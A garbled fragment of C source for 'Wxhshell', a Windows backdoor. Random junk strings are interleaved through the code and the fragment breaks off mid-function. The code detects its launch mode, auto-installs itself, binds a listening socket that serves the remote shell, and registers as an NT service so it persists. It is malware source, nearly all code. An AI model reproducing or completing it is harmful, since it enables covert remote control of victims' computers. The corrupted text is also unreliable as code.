P CloseHandle(hProcess); wKY6[ vvF |x< if(strstr(procName,"services")) return 1; // 以服务启动 Ky nZzR (I[o;0w return 0; // 注册表启动 t41cl } _i8$!b2Mr =,@SZsM*B // 主模块 jQ`"Op 3 int StartWxhshell(LPSTR lpCmdLine) %q*U[vv { nLtP^
1~9H SOCKET wsl; 1C$^S]v%a BOOL val=TRUE; D}"GrY5 int port=0; >; W)tc, struct sockaddr_in door; e('c9 Y Tz*5;y%4 if(wscfg.ws_autoins) Install();
FxZ\)Y x(b&r g.-0 port=atoi(lpCmdLine); RPiCXpJv& ao-C9|2>NU if(port<=0) port=wscfg.ws_port; 2%8N<GW.F *Nt6 Ufq6 WSADATA data; 4UL-j if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i2j)%Gc} n)K6Z{x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AN~1E@" setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6U/wFT!7$ door.sin_family = AF_INET; a|7V{pp=M door.sin_addr.s_addr = inet_addr("127.0.0.1"); +u=xBhZ door.sin_port = htons(port); K5.C*|w iuHG9 #n if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;%jt;Xv9 closesocket(wsl); /BIPLDN6 return 1; ;c>Yr?^ } kcYR:;y M}5 C;E* if(listen(wsl,2) == INVALID_SOCKET) { THua?,oyW closesocket(wsl); 7k$8i9# return 1; _+;x4K; } _>`0!mG Wxhshell(wsl); yQx>h6 WSACleanup(); ,!Hl@( #SqOJX~Q return 0; 9xKFX|*$ XW#4C*5?d } Lw#hnLI. J`mp8?;% // 以NT服务方式启动 Z?x]HB`r VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #* Hhe> { wM&G-~9ujk DWORD status = 0; fzKKK+ DWORD specificError = 0xfffffff; YT:1=Nf} q@!:<Ra,){ serviceStatus.dwServiceType = SERVICE_WIN32; b]Y,& 8}[+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; )T3wU~% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v[|iuOU serviceStatus.dwWin32ExitCode = 0; SA&wW\Ym] serviceStatus.dwServiceSpecificExitCode = 0; n)=&=Uj`f serviceStatus.dwCheckPoint = 0; \ D[BRE+ serviceStatus.dwWaitHint = 0; vB
Jva8;Q QAJ>93 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @KpzxcEoO if (hServiceStatusHandle==0) return; l1:j/[B= /.?\P#9) status = GetLastError(); 14&EdTG. if (status!=NO_ERROR) {0LdLRNZ { UF{2Gx serviceStatus.dwCurrentState = SERVICE_STOPPED; :qZ^<3+: serviceStatus.dwCheckPoint = 0; @fK`l@K serviceStatus.dwWaitHint = 0; 9BY b{<0tS serviceStatus.dwWin32ExitCode = status; UB1/FM4~ serviceStatus.dwServiceSpecificExitCode = specificError; W#wM PsB SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5[R}MhLZ return; TB[vpTC9) } NWpRzh8$u j>T''Tf serviceStatus.dwCurrentState = SERVICE_RUNNING; !^7:Rr_ serviceStatus.dwCheckPoint = 0; Lf-8G5G serviceStatus.dwWaitHint = 0; # SXXYh-e if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B%pvk.` } Ov|j{}=L=9 )6j:Mbz // 处理NT服务事件,比如:启动、停止 +?<jSmGW VOID WINAPI NTServiceHandler(DWORD fdwControl) S3<v?tqLr { b#m47yTW9< switch(fdwControl) Gs6#aL}]R { r%#qbsN case SERVICE_CONTROL_STOP: d;^?6V serviceStatus.dwWin32ExitCode = 0; 7h<K)aT serviceStatus.dwCurrentState = SERVICE_STOPPED; l}^#kHSyd serviceStatus.dwCheckPoint = 0; JU@$( serviceStatus.dwWaitHint = 0; + ND9### { .3&m:P8zV SetServiceStatus(hServiceStatusHandle, &serviceStatus); < |